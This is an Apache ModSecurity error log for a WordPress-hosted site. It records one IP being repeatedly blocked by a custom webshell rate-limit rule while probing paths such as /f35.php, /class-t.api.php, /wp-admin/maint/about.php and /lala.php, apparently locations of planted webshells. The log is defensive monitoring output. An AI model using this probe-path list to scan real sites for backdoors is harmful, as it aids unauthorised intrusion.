[Wed Feb 25 03:05:55.046095 2026] [:error] [pid 13575:tid 13629] [client 20.216.146.160:40165] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aZ32k6wGxLnu91BIPRmIqAAAA9g"]
[Wed Feb 25 03:05:56.228096 2026] [:error] [pid 13575:tid 13615] [client 20.216.146.160:34676] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aZ32lKwGxLnu91BIPRmIrQAAA8o"]
[Wed Feb 25 03:05:57.169067 2026] [:error] [pid 18850:tid 18860] [client 20.216.146.160:38408] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aZ32leDBmHucoAJRnqkoaAAAAAg"]
[Wed Feb 25 03:05:58.199720 2026] [:error] [pid 13575:tid 13624] [client 20.216.146.160:35367] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aZ32lqwGxLnu91BIPRmItAAAA9M"]
[Wed Feb 25 03:05:58.906267 2026] [:error] [pid 13391:tid 13394] [client 20.216.146.160:40146] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aZ32lkIwokrsisMuCDfQ-QAAAYE"]
[Wed Feb 25 03:06:00.909551 2026] [:error] [pid 13391:tid 13407] [client 20.216.146.160:37697] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aZ32mEIwokrsisMuCDfQ_gAAAY4"]
[Wed Feb 25 03:06:02.812721 2026] [:error] [pid 13575:tid 13622] [client 20.216.146.160:34615] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aZ32mqwGxLnu91BIPRmIvAAAA9E"]
[Wed Feb 25 03:06:07.775502 2026] [:error] [pid 13575:tid 13626] [client 20.216.146.160:39374] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aZ32n6wGxLnu91BIPRmIzgAAA9U"]
[Wed Feb 25 03:06:09.604190 2026] [:error] [pid 13391:tid 13409] [client 20.216.146.160:39407] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ32oUIwokrsisMuCDfRBQAAAZA"]
[Wed Feb 25 03:06:11.588101 2026] [:error] [pid 13516:tid 13526] [client 20.216.146.160:39774] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ32o4DG2jLWmZEFGzVoawAAAwg"]
[Wed Feb 25 03:06:12.830975 2026] [:error] [pid 26872:tid 26895] [client 20.216.146.160:39381] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ32pHxLbzvRGuzwKjkiaAAAAFU"]
[Wed Feb 25 03:06:13.577898 2026] [:error] [pid 13359:tid 13370] [client 20.216.146.160:37722] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aZ32paOZX03SYTgjvJXP6AAAAUk"]
[Wed Feb 25 03:06:14.228767 2026] [:error] [pid 13575:tid 13628] [client 20.216.146.160:40990] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aZ32pqwGxLnu91BIPRmI1gAAA9c"]
[Wed Feb 25 03:06:15.254028 2026] [:error] [pid 18458:tid 18819] [client 20.216.146.160:35338] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aZ32pwuir-tBe4tUismm8QAAApg"]
[Wed Feb 25 03:06:17.068373 2026] [:error] [pid 26872:tid 26880] [client 20.216.146.160:40990] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aZ32qXxLbzvRGuzwKjkibwAAAEY"]
[Wed Feb 25 03:06:18.207513 2026] [:error] [pid 13359:tid 13371] [client 20.216.146.160:39765] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aZ32qqOZX03SYTgjvJXP6wAAAUo"]
[Wed Feb 25 03:06:19.676101 2026] [:error] [pid 13286:tid 13295] [client 20.216.146.160:38074] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZ32qyU3io7izGW_QSeJ_wAAAIY"]
[Wed Feb 25 03:06:20.679463 2026] [:error] [pid 26872:tid 26895] [client 20.216.146.160:39772] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZ32rHxLbzvRGuzwKjkidAAAAFU"]
[Wed Feb 25 03:06:21.840528 2026] [:error] [pid 13391:tid 13406] [client 20.216.146.160:34560] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZ32rUIwokrsisMuCDfRDAAAAY0"]
[Wed Feb 25 03:06:22.741091 2026] [:error] [pid 26872:tid 26877] [client 20.216.146.160:10999] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aZ32rnxLbzvRGuzwKjkieAAAAEM"]
[Wed Feb 25 03:06:23.795539 2026] [:error] [pid 26872:tid 26874] [client 20.216.146.160:39422] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aZ32r3xLbzvRGuzwKjkiegAAAEA"]
[Wed Feb 25 03:06:24.695605 2026] [:error] [pid 13391:tid 13407] [client 20.216.146.160:39806] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aZ32sEIwokrsisMuCDfRDwAAAY4"]
[Wed Feb 25 03:06:25.685763 2026] [:error] [pid 13391:tid 13414] [client 20.216.146.160:42364] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aZ32sUIwokrsisMuCDfREgAAAZU"]
[Wed Feb 25 03:06:27.610610 2026] [:error] [pid 18458:tid 18801] [client 20.216.146.160:40994] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aZ32swuir-tBe4tUismm8wAAAoc"]
[Wed Feb 25 03:06:29.933955 2026] [:error] [pid 13516:tid 13538] [client 20.216.146.160:44285] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aZ32tYDG2jLWmZEFGzVodQAAAxQ"]
[Wed Feb 25 03:06:48.001688 2026] [:error] [pid 13454:tid 13469] [client 20.216.146.160:41058] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aZ32yOdouHfevEW-I1rcjwAAAk0"]
[Wed Feb 25 03:06:48.973595 2026] [:error] [pid 13359:tid 13364] [client 20.216.146.160:44266] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aZ32yKOZX03SYTgjvJXP-gAAAUM"]
[Wed Feb 25 03:06:51.521784 2026] [:error] [pid 13454:tid 13472] [client 20.216.146.160:38972] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aZ32y-douHfevEW-I1rclQAAAlA"]
[Wed Feb 25 03:06:52.980147 2026] [:error] [pid 26872:tid 26898] [client 20.216.146.160:44286] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aZ32zHxLbzvRGuzwKjkigQAAAFg"]
[Wed Feb 25 03:07:04.031330 2026] [:error] [pid 13575:tid 13627] [client 20.216.146.160:42325] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aZ322KwGxLnu91BIPRmJJQAAA9Y"]
[Wed Feb 25 03:07:06.207750 2026] [:error] [pid 13286:tid 13306] [client 20.216.146.160:34570] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aZ322iU3io7izGW_QSeKDQAAAJE"]
[Wed Feb 25 03:07:08.472470 2026] [:error] [pid 13454:tid 13466] [client 20.216.146.160:39486] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aZ323OdouHfevEW-I1rcqAAAAko"]
[Wed Feb 25 03:07:10.151571 2026] [:error] [pid 13454:tid 13459] [client 20.216.146.160:38945] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aZ323udouHfevEW-I1rcqwAAAkM"]
[Wed Feb 25 03:07:11.272564 2026] [:error] [pid 13516:tid 13523] [client 20.216.146.160:44233] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aZ3234DG2jLWmZEFGzVoxgAAAwU"]
[Wed Feb 25 03:07:13.137175 2026] [:error] [pid 18850:tid 18867] [client 20.216.146.160:38036] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aZ324eDBmHucoAJRnqkoeAAAAA8"]
[Wed Feb 25 03:07:14.117372 2026] [:error] [pid 13286:tid 13293] [client 20.216.146.160:42366] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aZ324iU3io7izGW_QSeKEQAAAIQ"]
[Wed Feb 25 03:07:14.785299 2026] [:error] [pid 13516:tid 13531] [client 20.216.146.160:39785] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aZ324oDG2jLWmZEFGzVozAAAAw0"]
[Wed Feb 25 03:07:15.476132 2026] [:error] [pid 18850:tid 18853] [client 20.216.146.160:41041] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aZ324-DBmHucoAJRnqkoewAAAAE"]
[Wed Feb 25 03:07:16.399205 2026] [:error] [pid 13516:tid 13521] [client 20.216.146.160:34581] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aZ325IDG2jLWmZEFGzVo0AAAAwM"]
[Wed Feb 25 03:07:17.245041 2026] [:error] [pid 13575:tid 13622] [client 20.216.146.160:38062] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aZ325awGxLnu91BIPRmJQQAAA9E"]
[Wed Feb 25 03:07:18.983387 2026] [:error] [pid 18850:tid 18856] [client 20.216.146.160:37721] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aZ325uDBmHucoAJRnqkofQAAAAQ"]
[Wed Feb 25 03:07:19.870927 2026] [:error] [pid 13575:tid 13610] [client 20.216.146.160:42367] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aZ3256wGxLnu91BIPRmJUAAAA8U"]
[Wed Feb 25 03:07:23.752949 2026] [:error] [pid 13575:tid 13610] [client 20.216.146.160:37572] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aZ3266wGxLnu91BIPRmJXwAAA8U"]
[Wed Feb 25 03:07:24.811226 2026] [:error] [pid 13391:tid 13417] [client 20.216.146.160:37756] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aZ327EIwokrsisMuCDfRMgAAAZg"]
[Wed Feb 25 03:07:31.782249 2026] [:error] [pid 13575:tid 13619] [client 20.216.146.160:30973] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aZ3286wGxLnu91BIPRmJhgAAA84"]
[Wed Feb 25 03:07:32.597784 2026] [:error] [pid 13575:tid 13627] [client 20.216.146.160:43085] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aZ329KwGxLnu91BIPRmJjwAAA9Y"]
[Wed Feb 25 03:07:35.077521 2026] [:error] [pid 13575:tid 13629] [client 20.216.146.160:36790] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aZ3296wGxLnu91BIPRmJoQAAA9g"]
[Wed Feb 25 03:07:36.481043 2026] [:error] [pid 13575:tid 13607] [client 20.216.146.160:11854] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aZ32-KwGxLnu91BIPRmJqwAAA8I"]
[Wed Feb 25 03:07:37.740909 2026] [:error] [pid 13575:tid 13624] [client 20.216.146.160:43991] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aZ32-awGxLnu91BIPRmJtwAAA9M"]
[Wed Feb 25 03:07:39.307757 2026] [:error] [pid 13575:tid 13627] [client 20.216.146.160:55536] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aZ32-6wGxLnu91BIPRmJvgAAA9Y"]
[Wed Feb 25 03:07:41.941142 2026] [:error] [pid 13391:tid 13394] [client 20.216.146.160:41725] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aZ32_UIwokrsisMuCDfRNwAAAYE"]
[Wed Feb 25 03:07:44.029807 2026] [:error] [pid 13575:tid 13611] [client 20.216.146.160:39038] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aZ33AKwGxLnu91BIPRmJywAAA8Y"]
[Wed Feb 25 03:07:47.311017 2026] [:error] [pid 18850:tid 18873] [client 20.216.146.160:33572] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aZ33A-DBmHucoAJRnqkojwAAABU"]
[Wed Feb 25 03:07:49.814263 2026] [:error] [pid 13454:tid 13480] [client 20.216.146.160:33845] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aZ33BedouHfevEW-I1rcygAAAlg"]
[Wed Feb 25 03:07:53.840061 2026] [:error] [pid 13575:tid 13621] [client 20.216.146.160:33822] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aZ33CawGxLnu91BIPRmJ5gAAA9A"]
[Wed Feb 25 03:07:55.876056 2026] [:error] [pid 18850:tid 18865] [client 20.216.146.160:41457] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aZ33C-DBmHucoAJRnqkolwAAAA0"]
